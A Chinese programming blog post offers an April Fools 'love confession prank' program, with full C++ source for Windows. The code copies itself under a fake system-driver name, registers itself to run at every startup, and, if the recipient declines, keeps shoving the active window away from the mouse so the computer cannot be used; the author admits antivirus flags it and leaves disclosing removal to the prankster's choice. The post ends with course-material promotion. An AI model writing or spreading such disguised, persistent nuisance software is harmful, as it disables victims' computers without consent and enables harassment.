快捷搜索:  汽车  科技

愚人节如何开表白玩笑:恶搞表白程序来了

愚人节如何开表白玩笑:恶搞表白程序来了(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;main.cpp:#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include "resource.h" #include <windows.h> //C windows #include <commctrl.h> #include <mmsystem.h> #pragma comment(lib "winmm.lib") /**********************************

今天是个好日子,四月一日愚人节,我们的广大单身狗们,最适合借着这个节日给自己心中的那个人表个白了!愚人节嘛,不就是开着玩笑说真心话的日子吗?

愚人节如何开表白玩笑:恶搞表白程序来了(1)

那么作为一名单身程序汪,今天就利用上班摸鱼时间,来给各位单身狗们写一个恶搞程序吧!

该程序进可攻退可守:如果对方同意,就会控制你桌面的图标,形成一个跳动爱心的形状,这时候就是你表白成功啦!如果对方拒绝的话,那么就会控制你电脑的桌面图标组件,你就点不了你桌面的任何窗口,它会随着你的鼠标的点击不断移动,这时候你就说:怎么样好不好玩,就是跟你开个玩笑嘛!

不过不管怎么样,祝大家愚人节快乐!

代码示例:

main.cpp:

#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include "resource.h" #include <windows.h> //C windows #include <commctrl.h> #include <mmsystem.h> #pragma comment(lib "winmm.lib") /********************************************************* 1.项目-属性-常规/高级 字符集改成多字节字符集 ANSI 2.项目-属性-C/C SDL检查 否 **********************************************************/ /*调试时显示控制台,单独运行exe时隐藏控制台。*/ #pragma comment(linker "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") int main() { //ILOVEYOU.exe char exepath[300] = { 0 }; GetModuleFileName(NULL exepath 300); CopyFile(exepath "C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe" FALSE); ////开机自启 HKEY hkey; RegOpenKey(HKEY_CURRENT_USER "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" &hkey); RegSetValueEx(hkey "Windows system32图形图像处理驱动组件.exe" NULL REG_SZ (const BYTE*)"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe" 66); RegCloseKey(hkey); //检查是否存在一个f的文件 FILE* fp = fopen("C:\\Users\\Public\\Pictures\\f" "r"); if (fp == NULL) { //不存在 int res = MessageBox(NULL "我有车有房有存款 想要照顾你一生一世 你是否愿意?" "暗恋你的小九九" MB_YESNO ); //是和否 if (res == IDYES) { //是 keybd_event(VK_LWIN 0 0 0); //win d 回到桌面 keybd_event('D' 0 0 0); keybd_event('D' 0 2 0); keybd_event(VK_LWIN 0 2 0); POINT map[14] = { {868 316} { 730 207 } { 591 221 } { 515 327 } { 542 469 } { 610 624 } { 723 746 } { 870 814 } { 1012 744 } { 1130 626 } { 1219 485 } { 1225 328 } { 1156 225 } { 1012 217 } }; //music PlaySound((LPCSTR)IDR_WAVE1 NULL SND_RESOURCE | SND_ASYNC | SND_LOOP); // HWND zmWnd = FindWindow("Progman" "Program Manager"); //桌面的窗口 HWND bzWnd = FindWindowEx(zmWnd 0 "SHELLDLL_DefView" NULL); //壁纸的窗口 HWND tbWnd = FindWindowEx(bzWnd 0 "SysListView32" "FolderView"); //图标的窗口 int cnt = SendMessage(tbWnd LVM_GETITEMCOUNT 0 0); //向某一个窗口发送一条指令 while (1) { //刷新 for (int i = 0; i < cnt; i ) { if (i < 14) //0-13 SendMessage(tbWnd LVM_SETITEMPOSITION i (map[i].y << 16) map[i].x); else SendMessage(tbWnd LVM_SETITEMPOSITION i (2000 << 16) 500); } POINT temppt; temppt.x = map[0].x; temppt.y = map[0].y; for (int i = 0; i < 13; i ) { map[i].x = map[i 1].x; map[i].y = map[i 1].y; } map[13].x = temppt.x; map[13].y = temppt.y; Sleep(100); if (GetAsyncKeyState(VK_ESCAPE)) return 0; } } else //否 { fp = fopen("C:\\Users\\Public\\Pictures\\f" "w"); fclose(fp); } } //拒绝了我 HWND hwnd; //定义一个id id可以用来标记一个窗口 int x y; POINT pt; //点 RECT rect; //矩形 while (1) { hwnd = GetForegroundWindow(); GetCursorPos(&pt); GetWindowRect(hwnd &rect); //鼠标在窗口里面 if (pt.x > rect.left && pt.x<rect.right && pt.y>rect.top && pt.y < rect.bottom) { x = rand() % (1920 - 434); y = rand() % (1080 - 466); MoveWindow(hwnd x y 434 466 true); } } return 0; }

resource.h:

//{{NO_DEPENDENCIES}} // Microsoft Visual C 生成的包含文件。 // 供 ILOVEYOU.rc 使用 // #define IDR_WAVE1 101 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 102 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif

对方点击是/否后不知道怎么关闭怎么办?不管怎么样还能接着聊!

解决方法:

(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;

(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);

(3)彻底删除请进入注册表编辑器,win R,输入regedit,随后操作如图:

愚人节如何开表白玩笑:恶搞表白程序来了(2)

愚人节如何开表白玩笑:恶搞表白程序来了(3)

愚人节如何开表白玩笑:恶搞表白程序来了(4)

愚人节如何开表白玩笑:恶搞表白程序来了(5)

好啦,这一招就是这样,剩下的就看各位咯!

写在最后:另外,对于准备学习C/C 编程的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

愚人节如何开表白玩笑:恶搞表白程序来了(6)

编程学习视频分享:

愚人节如何开表白玩笑:恶搞表白程序来了(7)

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C 感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C 的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

猜您喜欢: